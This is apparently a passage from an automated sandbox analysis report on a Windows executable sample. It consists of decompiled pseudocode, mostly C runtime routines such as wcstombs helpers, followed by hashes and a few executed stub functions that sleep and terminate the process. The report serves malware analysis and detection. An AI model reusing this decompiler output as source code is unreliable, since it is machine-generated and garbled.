									( *(_t292 + 8))[ *(_t292 - 4)] =  *( *(_t292 + 0xc));
									_t274 =  *( *(_t292 + 0xc)) & 0x0000ffff;
									 *(_t292 + 0xc) =  &(( *(_t292 + 0xc))[1]);
									if(( *( *(_t292 + 0xc)) & 0x0000ffff) != 0) {
										_t274 =  *(_t292 - 4) + 1;
										 *(_t292 - 4) =  *(_t292 - 4) + 1;
										continue;
									}
									 *(_t292 - 0x38) =  *(_t292 - 4);
									E0041AAA0(_t292 - 0x20);
									_t162 =  *(_t292 - 0x38);
									goto L55;
								}
								 *((intOrPtr*)(L00422AF0(_t265))) = 0x2a;
								 *(_t292 - 0x34) = 0xffffffff;
								E0041AAA0(_t292 - 0x20);
								_t162 =  *(_t292 - 0x34);
								goto L55;
							}
							 *(_t292 - 0x3c) =  *(_t292 - 4);
							E0041AAA0(_t292 - 0x20);
							_t162 =  *(_t292 - 0x3c);
						}
					} else {
						 *((intOrPtr*)(L00422AF0(_t222))) = 0x16;
						_t162 = E00422880(_t221, _t222, _t290, _t291, L"pwcs != NULL", L"_wcstombs_l_helper", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c", 0x66, 0) | 0xffffffff;
					}
					goto L55;
				} else {
					_t162 = 0;
					L55:
					return E0042BAA0(_t162, _t221,  *(_t292 - 0x24) ^ _t292, _t274, _t290, _t291);
				}
			}

0x00436e06
0x00436e06
0x00436e06
0x00436e0a
0x00436e1c
0x00436e23
0x00436e25
0x00436e2a
0x00436e2c
0x00436e2e
0x00436e33
0x00436e35
0x00436e3a
0x00436e40
0x00436e42
0x00436e42
0x00436e40
0x00436e47
0x00436e77
0x00436e7e
0x00436e87
0x004371be
0x004371c3
0x004371c9
0x004371fb
0x004371fe
0x00437203
0x0043720f
0x00437216
0x00437223
0x00437229
0x00437233
0x00437238
0x0043723d
0x00437243
0x00437249
0x0043724e
0x0043724e
0x004371cb
0x004371cb
0x004371d7
0x004371dd
0x004371e2
0x004371e2
0x00436e8d
0x00436e9b
0x00436f45
0x00437011
0x00437013
0x0043701d
0x00437024
0x00437049
0x0043705b
0x00437061
0x0043706b
0x00437070
0x00437078
0x00437078
0x0043708d
0x004370af
0x004370b1
0x004370bb
0x004370c2
0x004370cf
0x004370d5
0x004370df
0x004370e4
0x004370ec
0x004370f0
0x004370fd
0x00437103
0x0043710d
0x00437112
0x0043711a
0x00437123
0x0043713b
0x00437156
0x0043716b
0x00437170
0x00437178
0x0043714a
0x00437153
0x00000000
0x00437153
0x0043717d
0x00437183
0x00437188
0x00000000
0x00437188
0x00437195
0x00437198
0x00000000
0x00437198
0x00437128
0x0043712e
0x00437133
0x00437133
0x004370f0
0x00000000
0x004370c2
0x004371a3
0x004371a9
0x004371ae
0x004371ae
0x0043702c
0x00437032
0x00437038
0x0043703d
0x0043703d
0x00000000
0x00437024
0x00436f4f
0x00436f61
0x00436f61
0x00436f76
0x00436f84
0x00436f86
0x00436f90
0x00436f97
0x00436fd1
0x00436fd7
0x00436fe1
0x00436fe6
0x00436f9f
0x00436fab
0x00436fb3
0x00436fb3
0x00436fb6
0x00436fb9
0x00436fbf
0x00436fc4
0x00436fc4
0x00000000
0x00000000
0x00000000
0x00000000
0x00436ea1
0x00436ea1
0x00436ea1
0x00436ea7
0x00000000
0x00000000
0x00436ea9
0x00436eb4
0x00436ee3
0x00436ee8
0x00436ef1
0x00436ef6
0x00436f11
0x00436f14
0x00000000
0x00436f14
0x00436efb
0x00436f01
0x00436f06
0x00000000
0x00436f06
0x00436ebb
0x00436ec1
0x00436ecb
0x00436ed0
0x00000000
0x00436ed0
0x00436f1c
0x00436f22
0x00436f27
0x00436f27
0x00436e49
0x00436e4e
0x00436e6f
0x00436e6f
0x00000000
0x00436e0c
0x00436e0c
0x0043725b
0x00437268
0x00437268

APIs

__invalid_parameter.LIBCMTD ref: 00436E67

Strings

pwcs != NULL, xrefs: 00436E25, 00436E62
_wcstombs_l_helper, xrefs: 00436E5D
f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c, xrefs: 00436E2E, 00436E58

Memory Dump Source

Source File: 00000001.00000002.282871844.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.282862446.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.282935357.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.282945954.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.282950841.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ZA3cYU28Yl.jbxd

Similarity

API ID: __invalid_parameter
String ID: _wcstombs_l_helper$f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c$pwcs != NULL
API String ID: 3730194576-2632876063
Opcode ID: 2b1f287f38c702de7cfd52cd2d906e40cfd5b83070ebafd4c59885059780b8f3
Instruction ID: 8d145d290e22e688990613e76046f7b5e4983cfdf9450a00adfc4b5ea0a3efe2
Opcode Fuzzy Hash: 2b1f287f38c702de7cfd52cd2d906e40cfd5b83070ebafd4c59885059780b8f3
Instruction Fuzzy Hash: 64F02870A80318BADB306A60DD07B5B32506758B18F21166FFC46341C2CBFE4554895D

Uniqueness

Uniqueness Score: -1.00%

Function 004372E5, Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 39
COMMON

Download Yara Rule

C-Code - Quality: 52%

			E004372E5(void* __ebx, void* __ecx, void* __edi, void* __esi) {
				signed int _t85;
				intOrPtr _t86;
				void* _t91;
				signed int _t95;
				void* _t103;
				void* _t110;
				void* _t111;
				void* _t112;
				signed int _t121;
				signed int _t123;
				signed int _t127;
				signed int _t128;
				signed int _t129;
				signed int _t132;
				signed int _t134;
				signed int _t140;
				void* _t142;
				void* _t143;
				void* _t144;
				void* _t146;
				void* _t147;

				_t143 = __esi;
				_t142 = __edi;
				_t112 = __ecx;
				_t111 = __ebx;
				if( *(_t144 + 0x10) > 0 ||  *(_t144 + 0xc) == 0 &&  *(_t144 + 0x10) == 0) {
					 *((intOrPtr*)(_t144 - 0x1c)) = 1;
				} else {
					 *((intOrPtr*)(_t144 - 0x1c)) = 0;
				}
				 *((intOrPtr*)(_t144 - 0x10)) =  *((intOrPtr*)(_t144 - 0x1c));
				if( *((intOrPtr*)(_t144 - 0x10)) == 0) {
					_push(L"(dst != NULL && sizeInBytes > 0) || (dst == NULL && sizeInBytes == 0)");
					_push(0);
					_push(0x133);
					_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c");
					_push(2);
					_t110 = L0041E000();
					_t146 = _t146 + 0x14;
					if(_t110 == 1) {
						asm("int3");
					}
				}
				if( *((intOrPtr*)(_t144 - 0x10)) != 0) {
					__eflags =  *(_t144 + 0xc);
					if( *(_t144 + 0xc) != 0) {
						_t128 =  *(_t144 + 0xc);
						 *_t128 = 0;
						__eflags =  *(_t144 + 0x10) - 0xffffffff;
						if( *(_t144 + 0x10) != 0xffffffff) {
							__eflags =  *(_t144 + 0x10) - 0x7fffffff;
							if( *(_t144 + 0x10) != 0x7fffffff) {
								__eflags =  *(_t144 + 0x10) - 1;
								if( *(_t144 + 0x10) > 1) {
									__eflags =  *0x440208 -  *(_t144 + 0x10) - 1; // 0xffffffff
									if(__eflags >= 0) {
										_t128 =  *(_t144 + 0x10) - 1;
										__eflags = _t128;
										 *(_t144 - 0x20) = _t128;
									} else {
										_t127 =  *0x440208; // 0xffffffff
										 *(_t144 - 0x20) = _t127;
									}
									__eflags =  *(_t144 + 0xc) + 1;
									E0041B190(_t142,  *(_t144 + 0xc) + 1, 0xfe,  *(_t144 - 0x20));
									_t146 = _t146 + 0xc;
								}
							}
						}
					}
					__eflags =  *(_t144 + 8);
					if( *(_t144 + 8) != 0) {
						_t128 =  *(_t144 + 8);
						 *_t128 = 0;
					}
					__eflags =  *(_t144 + 0x18) -  *(_t144 + 0x10);
					if( *(_t144 + 0x18) <=  *(_t144 + 0x10)) {
						_t128 =  *(_t144 + 0x18);
						 *(_t144 - 0x24) = _t128;
					} else {
						 *(_t144 - 0x24) =  *(_t144 + 0x10);
					}
					 *(_t144 - 8) =  *(_t144 - 0x24);
					__eflags = 0x7fffffff -  *(_t144 - 8);
					asm("sbb edx, edx");
					_t129 = _t128 + 1;
					__eflags = _t129;
					 *(_t144 - 0x14) = _t129;
					if(_t129 == 0) {
						_push(L"bufferSize <= INT_MAX");
						_push(0);
						_push(0x13f);
						_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c");
						_push(2);
						_t103 = L0041E000();
						_t146 = _t146 + 0x14;
						__eflags = _t103 - 1;
						if(_t103 == 1) {
							asm("int3");
						}
					}
					__eflags =  *(_t144 - 0x14);
					if( *(_t144 - 0x14) != 0) {
						_t115 =  *(_t144 + 0xc);
						_t85 = L00436DE0(_t111,  *(_t144 - 8), _t142, _t143,  *(_t144 + 0xc),  *((intOrPtr*)(_t144 + 0x14)),  *(_t144 - 8),  *((intOrPtr*)(_t144 + 0x1c)));
						_t147 = _t146 + 0x10;
						 *(_t144 - 0xc) = _t85;
						__eflags =  *(_t144 - 0xc) - 0xffffffff;
						if( *(_t144 - 0xc) != 0xffffffff) {
							_t132 =  *(_t144 - 0xc) + 1;
							 *(_t144 - 0xc) = _t132;
							__eflags =  *(_t144 + 0xc);
							if( *(_t144 + 0xc) == 0) {
								L56:
								__eflags =  *(_t144 + 8);
								if( *(_t144 + 8) != 0) {
									 *( *(_t144 + 8)) =  *(_t144 - 0xc);
								}
								_t86 =  *((intOrPtr*)(_t144 - 4));
								goto L59;
							}
							__eflags =  *(_t144 - 0xc) -  *(_t144 + 0x10);
							if( *(_t144 - 0xc) <=  *(_t144 + 0x10)) {
								L55:
								_t134 =  *(_t144 + 0xc) +  *(_t144 - 0xc);
								__eflags = _t134;
								 *((char*)(_t134 - 1)) = 0;
								goto L56;
							}
							__eflags =  *(_t144 + 0x18) - 0xffffffff;
							if( *(_t144 + 0x18) == 0xffffffff) {
								L54:
								 *(_t144 - 0xc) =  *(_t144 + 0x10);
								 *((intOrPtr*)(_t144 - 4)) = 0x50;
								goto L55;
							}
							 *( *(_t144 + 0xc)) = 0;
							__eflags =  *(_t144 + 0x10) - 0xffffffff;
							if( *(_t144 + 0x10) != 0xffffffff) {
								__eflags =  *(_t144 + 0x10) - 0x7fffffff;
								if( *(_t144 + 0x10) != 0x7fffffff) {
									__eflags =  *(_t144 + 0x10) - 1;
									if( *(_t144 + 0x10) > 1) {
										__eflags =  *0x440208 -  *(_t144 + 0x10) - 1; // 0xffffffff
										if(__eflags >= 0) {
											_t121 =  *(_t144 + 0x10) - 1;
											__eflags = _t121;
											 *(_t144 - 0x2c) = _t121;
										} else {
											_t95 =  *0x440208; // 0xffffffff
											 *(_t144 - 0x2c) = _t95;
										}
										_t132 =  *(_t144 - 0x2c);
										__eflags =  *(_t144 + 0xc) + 1;
										E0041B190(_t142,  *(_t144 + 0xc) + 1, 0xfe, _t132);
										_t147 = _t147 + 0xc;
									}
								}
							}
							_t119 =  *(_t144 + 0x10);
							__eflags =  *(_t144 - 0xc) -  *(_t144 + 0x10);
							asm("sbb edx, edx");
							 *(_t144 - 0x18) =  ~_t132;
							if( *(_t144 - 0xc) ==  *(_t144 + 0x10)) {
								_push(L"sizeInBytes > retsize");
								_push(0);
								_push(0x157);
								_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c");
								_push(2);
								_t91 = L0041E000();
								_t147 = _t147 + 0x14;
								__eflags = _t91 - 1;
								if(_t91 == 1) {
									asm("int3");
								}
							}
							__eflags =  *(_t144 - 0x18);
							if( *(_t144 - 0x18) != 0) {
								goto L54;
							} else {
								 *((intOrPtr*)(L00422AF0(_t119))) = 0x22;
								E00422880(_t111, _t119, _t142, _t143, L"sizeInBytes > retsize", L"_wcstombs_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c", 0x157, 0);
								_t86 = 0x22;
								goto L59;
							}
						} else {
							__eflags =  *(_t144 + 0xc);
							if( *(_t144 + 0xc) != 0) {
								 *( *(_t144 + 0xc)) = 0;
								__eflags =  *(_t144 + 0x10) - 0xffffffff;
								if( *(_t144 + 0x10) != 0xffffffff) {
									__eflags =  *(_t144 + 0x10) - 0x7fffffff;
									if( *(_t144 + 0x10) != 0x7fffffff) {
										__eflags =  *(_t144 + 0x10) - 1;
										if( *(_t144 + 0x10) > 1) {
											__eflags =  *0x440208 -  *(_t144 + 0x10) - 1; // 0xffffffff
											if(__eflags >= 0) {
												_t140 =  *(_t144 + 0x10) - 1;
												__eflags = _t140;
												 *(_t144 - 0x28) = _t140;
											} else {
												_t123 =  *0x440208; // 0xffffffff
												 *(_t144 - 0x28) = _t123;
											}
											_t115 =  *(_t144 + 0xc) + 1;
											__eflags =  *(_t144 + 0xc) + 1;
											E0041B190(_t142,  *(_t144 + 0xc) + 1, 0xfe,  *(_t144 - 0x28));
										}
									}
								}
							}
							_t86 =  *((intOrPtr*)(L00422AF0(_t115)));
							goto L59;
						}
					} else {
						 *((intOrPtr*)(L00422AF0(0x7fffffff))) = 0x16;
						E00422880(_t111, 0x7fffffff, _t142, _t143, L"bufferSize <= INT_MAX", L"_wcstombs_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c", 0x13f, 0);
						_t86 = 0x16;
						goto L59;
					}
				} else {
					 *((intOrPtr*)(L00422AF0(_t112))) = 0x16;
					E00422880(_t111, _t112, _t142, _t143, L"(dst != NULL && sizeInBytes > 0) || (dst == NULL && sizeInBytes == 0)", L"_wcstombs_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c", 0x133, 0);
					_t86 = 0x16;
					L59:
					return _t86;
				}
			}

0x004372e5
0x004372e5
0x004372e5
0x004372e5
0x004372e9
0x00437300
0x004372f7
0x004372f7
0x004372f7
0x0043730a
0x00437311
0x00437313
0x00437318
0x0043731a
0x0043731f
0x00437324
0x00437326
0x0043732b
0x00437331
0x00437333
0x00437333
0x00437331
0x00437338
0x0043736d
0x00437371
0x00437373
0x00437376
0x00437379
0x0043737d
0x0043737f
0x00437386
0x00437388
0x0043738c
0x00437394
0x0043739a
0x004373aa
0x004373aa
0x004373ad
0x0043739c
0x0043739c
0x004373a2
0x004373a2
0x004373bc
0x004373c0
0x004373c5
0x004373c5
0x0043738c
0x00437386
0x0043737d
0x004373c8
0x004373cc
0x004373ce
0x004373d1
0x004373d1
0x004373da
0x004373dd
0x004373e7
0x004373ea
0x004373df
0x004373e2
0x004373e2
0x004373f0
0x004373f8
0x004373fb
0x004373fd
0x004373fd
0x00437400
0x00437403
0x00437405
0x0043740a
0x0043740c
0x00437411
0x00437416
0x00437418
0x0043741d
0x00437420
0x00437423
0x00437425
0x00437425
0x00437423
0x00437426
0x0043742a
0x0043746b
0x0043746f
0x00437474
0x00437477
0x0043747a
0x0043747e
0x004374ea
0x004374ed
0x004374f0
0x004374f4
0x004375e1
0x004375e1
0x004375e5
0x004375ed
0x004375ed
0x004375ef
0x00000000
0x004375ef
0x004374fd
0x00437500
0x004375d7
0x004375da
0x004375da
0x004375dd
0x00000000
0x004375dd
0x00437506
0x0043750a
0x004375ca
0x004375cd
0x004375d0
0x00000000
0x004375d0
0x00437513
0x00437516
0x0043751a
0x0043751c
0x00437523
0x00437525
0x00437529
0x00437531
0x00437537
0x00437546
0x00437546
0x00437549
0x00437539
0x00437539
0x0043753e
0x0043753e
0x0043754c
0x00437558
0x0043755c
0x00437561
0x00437561
0x00437529
0x00437523
0x00437564
0x00437567
0x0043756a
0x0043756e
0x00437571
0x00437573
0x00437578
0x0043757a
0x0043757f
0x00437584
0x00437586
0x0043758b
0x0043758e
0x00437591
0x00437593
0x00437593
0x00437591
0x00437594
0x00437598
0x00000000
0x0043759a
0x0043759f
0x004375bb
0x004375c3
0x00000000
0x004375c3
0x00437480
0x00437480
0x00437484
0x00437489
0x0043748c
0x00437490
0x00437492
0x00437499
0x0043749b
0x0043749f
0x004374a7
0x004374ad
0x004374bd
0x004374bd
0x004374c0
0x004374af
0x004374af
0x004374b5
0x004374b5
0x004374cf
0x004374cf
0x004374d3
0x004374d8
0x0043749f
0x00437499
0x00437490
0x004374e0
0x00000000
0x004374e0
0x0043742c
0x00437431
0x0043744d
0x00437455
0x00000000
0x00437455
0x0043733a
0x0043733f
0x0043735b
0x00437363
0x004375f2
0x004375f5
0x004375f5

APIs

__invalid_parameter.LIBCMTD ref: 0043735B

Strings

_wcstombs_s_l, xrefs: 00437351
f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c, xrefs: 0043731F, 0043734C
(dst != NULL && sizeInBytes > 0) || (dst == NULL && sizeInBytes == 0), xrefs: 00437313, 00437356

Memory Dump Source

Source File: 00000001.00000002.282871844.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.282862446.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.282935357.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.282945954.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.282950841.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ZA3cYU28Yl.jbxd

Similarity

API ID: __invalid_parameter
String ID: (dst != NULL && sizeInBytes > 0) || (dst == NULL && sizeInBytes == 0)$_wcstombs_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c
API String ID: 3730194576-625432840
Opcode ID: 8fae172e9e588b43ce59ab6fe453a295eb9c36e45073b35abf65a17825a7d1a6
Instruction ID: 3d4b59e97418959de24b7a2b766389129ec61bbaf3ef579b14f098cb3d77507e
Opcode Fuzzy Hash: 8fae172e9e588b43ce59ab6fe453a295eb9c36e45073b35abf65a17825a7d1a6
Instruction Fuzzy Hash: 1C0181B0E4431DAAEB309E40CD067AF7260AB18B0DF10156FEC95352C1D7FD8640DA9E

Uniqueness

Uniqueness Score: -1.00%

Function 0041A611, Relevance: 6.1, APIs: 4, Instructions: 115COMMON

Download Yara Rule

APIs

___libm_error_support.LIBCMTD ref: 0041A6C5

Part of subcall function 00421130: __encode_pointer.LIBCMTD ref: 00421211

Memory Dump Source

Source File: 00000001.00000002.282871844.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.282862446.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.282935357.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.282945954.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.282950841.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ZA3cYU28Yl.jbxd

Similarity

API ID: ___libm_error_support__encode_pointer
String ID:
API String ID: 3390238661-0
Opcode ID: c44d046865231dff2cdce69809e59661ac17edd7748d517aa8ef826d77e258c8
Instruction ID: b78d556533caa798b6684571c2e5654b5e98a6e7013d34b88894d22d018ab354
Opcode Fuzzy Hash: c44d046865231dff2cdce69809e59661ac17edd7748d517aa8ef826d77e258c8
Instruction Fuzzy Hash: 4B412931C09744D6CB11AB39EA4516EB7B0FF91344F50C77AF8C865221EB348968C34B

Uniqueness

Uniqueness Score: -1.00%

Function 004245EA, Relevance: 6.0, APIs: 4, Instructions: 32
threadCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E004245EA(intOrPtr __eax) {
				void* _t10;
				intOrPtr _t11;
				intOrPtr _t16;
				void* _t21;

				 *((intOrPtr*)(_t21 - 8)) = __eax;
				if( *((intOrPtr*)(_t21 - 8)) == 0) {
					L2:
					E00424650();
					_t10 = 0;
				} else {
					_push( *((intOrPtr*)(_t21 - 8)));
					_t11 =  *0x440cb0; // 0x5
					_push(_t11);
					_t16 =  *0x54adfc; // 0xaf39f4c2
					if( *((intOrPtr*)(E00424340(_t16)))() != 0) {
						E004246B0(_t16,  *((intOrPtr*)(_t21 - 8)), 0);
						 *((intOrPtr*)( *((intOrPtr*)(_t21 - 8)))) = GetCurrentThreadId();
						 *((intOrPtr*)( *((intOrPtr*)(_t21 - 8)) + 4)) = 0xffffffff;
						_t10 = 1;
					} else {
						goto L2;
					}
				}
				return _t10;
			}

0x004245ed
0x004245f4
0x00424615
0x00424615
0x0042461a
0x004245f6
0x004245f9
0x004245fa
0x004245ff
0x00424600
0x00424613
0x00424624
0x00424635
0x0042463a
0x00424641
0x00000000
0x00000000
0x00000000
0x00424613
0x00424649

APIs

__encode_pointer.LIBCMTD ref: 00424607

Part of subcall function 00424340: TlsGetValue.KERNEL32(00000004,004245B6,AF39F4C1), ref: 00424355
Part of subcall function 00424340: TlsGetValue.KERNEL32(00000004,00000005), ref: 00424376
Part of subcall function 00424340: __crt_wait_module_handle.LIBCMTD ref: 0042438C
Part of subcall function 00424340: GetProcAddress.KERNEL32(00000000,DecodePointer), ref: 004243A6

__mtterm.LIBCMTD ref: 00424615
__initptd.LIBCMTD ref: 00424624
GetCurrentThreadId.KERNEL32 ref: 0042462C

Memory Dump Source

Source File: 00000001.00000002.282871844.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.282862446.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.282935357.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.282945954.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.282950841.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ZA3cYU28Yl.jbxd

Similarity

API ID: Value$AddressCurrentProcThread__crt_wait_module_handle__encode_pointer__initptd__mtterm
String ID:
API String ID: 1673568325-0
Opcode ID: a5b40eb3c482c1174bdd079591c39a0cb72a7e88cf60f3f0efad5ee52833ba59
Instruction ID: 9ddc1e2bf805eee459b9aa81b8412ccbd30f90585c09fc2a36f665a43c7b779d
Opcode Fuzzy Hash: a5b40eb3c482c1174bdd079591c39a0cb72a7e88cf60f3f0efad5ee52833ba59
Instruction Fuzzy Hash: AAF0B4B5B00215ABC710EFE8FC4179EBB70EB89308F1082A9E80997391EA39D550CB55

Uniqueness

Uniqueness Score: -1.00%

Function 0041C24F, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 28COMMON

Download Yara Rule

APIs

__CrtCheckMemory.LIBCMTD ref: 0041C25F

Strings

f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c, xrefs: 0041C274
_CrtCheckMemory(), xrefs: 0041C268

Memory Dump Source

Source File: 00000001.00000002.282871844.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.282862446.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.282935357.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.282945954.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.282950841.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ZA3cYU28Yl.jbxd

Similarity

API ID: CheckMemory
String ID: _CrtCheckMemory()$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c
API String ID: 2067751306-2660621803
Opcode ID: 96337c6d0dba594ec11e93e9530b8ebcbdde8fcbdb6c408c328e87aefc14f32d
Instruction ID: 090bd5020f41235ac95ffe7b7c546c614f8ebf199b06177ea7ed504da9d75f76
Opcode Fuzzy Hash: 96337c6d0dba594ec11e93e9530b8ebcbdde8fcbdb6c408c328e87aefc14f32d
Instruction Fuzzy Hash: 4FF0E5B8FC421487CB909BA1EEC67E63250A72130DF204097F504596C0EABC89C56E4F

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: ZA3cYU28Yl.exe PID: 6620 Parent PID: 6600 ZA3cYU28Yl.exeCOMMON

Execution Graph

Execution Coverage:	4.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	24
Total number of Limit Nodes:	0

Executed Functions

Function 0040196D, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48
sleepnativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 46%

			E0040196D(void* __eax, void* __ebx, void* __ecx, void* __edi, short __esi, void* __fp0) {
				intOrPtr _t14;
				void* _t17;
				intOrPtr* _t23;
				void* _t26;
				void* _t27;
				void* _t28;
				signed int _t33;
				intOrPtr* _t35;
				void* _t38;

				_t31 = __esi;
				_t29 = __edi;
				asm("in eax, 0xe5");
				 *((short*)(__eax + _t33 * 2)) = __esi;
				 *((intOrPtr*)(__eax + _t33 * 2)) = __esi;
				_push(0x1999);
				_t14 =  *_t35;
				__eflags = __al;
				_t26 = 0x5c;
				E004012AB(_t14, __ebx, _t26, _t28, __edi, __esi, _t38);
				_t23 =  *((intOrPtr*)(_t33 + 8));
				Sleep(0x1388);
				_t17 = E004014EA(_t28, _t38, __fp0, _t23,  *((intOrPtr*)(_t33 + 0xc)),  *((intOrPtr*)(_t33 + 0x10)), _t33 - 4); // executed
				_t39 = _t17;
				if(_t17 != 0) {
					_push( *((intOrPtr*)(_t33 + 0x14)));
					_push( *((intOrPtr*)(_t33 - 4)));
					_push(_t17);
					_push(_t23); // executed
					E004015BD(_t23, _t28, _t29, _t31, _t39); // executed
				}
				 *_t23(0xffffffff, 0); // executed
				_t27 = 0x5c;
				return E004012AB(0x1999, _t23, _t27, _t28, _t29, _t31, _t39);
			}

0x0040196d
0x0040196d
0x0040196d
0x00401970
0x00401971
0x00401973
0x00401978
0x00401986
0x0040198c
0x00401994
0x00401999
0x004019a1
0x004019af
0x004019b4
0x004019b6
0x004019b8
0x004019bb
0x004019be
0x004019bf
0x004019c0
0x004019c0
0x004019c9
0x004019e8
0x004019f9

APIs

Sleep.KERNELBASE(00001388), ref: 004019A1
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019C9

Strings

j\Y, xrefs: 00401989

Memory Dump Source

Source File: 00000003.00000002.333158547.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_ZA3cYU28Yl.jbxd

Similarity

API ID: ProcessSleepTerminate
String ID: j\Y
API String ID: 417527130-662177190
Opcode ID: 60e19d2a587da5622c2a6d9172a049e9a5b2b5b2e4593a54255e3bb5c4ee03a0
Instruction ID: 595b9c3ea7707adfb89ee20c44a57f79679102a22a402f6ef59d3c67027402ce
Opcode Fuzzy Hash: 60e19d2a587da5622c2a6d9172a049e9a5b2b5b2e4593a54255e3bb5c4ee03a0
Instruction Fuzzy Hash: B10184B2604245EBDB005FE5DC92DAA3B74AF01314F2401ABF512B91F2DA3C8513E71A

Uniqueness

Uniqueness Score: -1.00%

Function 00401962, Relevance: 3.1, APIs: 2, Instructions: 52
sleepnativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 44%

			E00401962(void* __ecx, void* __fp0, intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t9;
				void* _t12;
				void* _t17;
				intOrPtr* _t18;
				void* _t20;
				void* _t21;
				void* _t22;
				void* _t23;
				void* _t24;
				intOrPtr* _t25;
				void* _t27;

				_push(0x1999);
				_t9 =  *_t25;
				__eflags = __al;
				_t20 = 0x5c;
				E004012AB(_t9, _t17, _t20, _t22, _t23, _t24, _t27);
				_t18 = _a4;
				Sleep(0x1388);
				_t12 = E004014EA(_t22, _t27, __fp0, _t18, _a8, _a12,  &_v8); // executed
				_t28 = _t12;
				if(_t12 != 0) {
					_push(_a16);
					_push(_v8);
					_push(_t12);
					_push(_t18); // executed
					E004015BD(_t18, _t22, _t23, _t24, _t28); // executed
				}
				 *_t18(0xffffffff, 0); // executed
				_t21 = 0x5c;
				return E004012AB(0x1999, _t18, _t21, _t22, _t23, _t24, _t28);
			}

0x00401973
0x00401978
0x00401986
0x0040198c
0x00401994
0x00401999
0x004019a1
0x004019af
0x004019b4
0x004019b6
0x004019b8
0x004019bb
0x004019be
0x004019bf
0x004019c0
0x004019c0
0x004019c9
0x004019e8
0x004019f9

APIs

Sleep.KERNELBASE(00001388), ref: 004019A1
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019C9

Memory Dump Source

Source File: 00000003.00000002.333158547.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_ZA3cYU28Yl.jbxd

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: e6583a46ba0c482cc9ee2622c86c4f26a038c05ef2be8949cbdfc3cdf2952675
Instruction ID: c7dbb5b86db80192b1cd6b67b95130a9e8bba6362884e51d04f8a5ef40e6dacf
Opcode Fuzzy Hash: e6583a46ba0c482cc9ee2622c86c4f26a038c05ef2be8949cbdfc3cdf2952675
Instruction Fuzzy Hash: A50144F1208205FBEB005AD59DA2E7B3668AB01715F20013BBA03790F1D57D9913E72B

Uniqueness

Uniqueness Score: -1.00%

Function 00401A0B, Relevance: 1.6, APIs: 1, Instructions: 96
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019C9

Memory Dump Source

Source File: 00000003.00000002.333158547.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

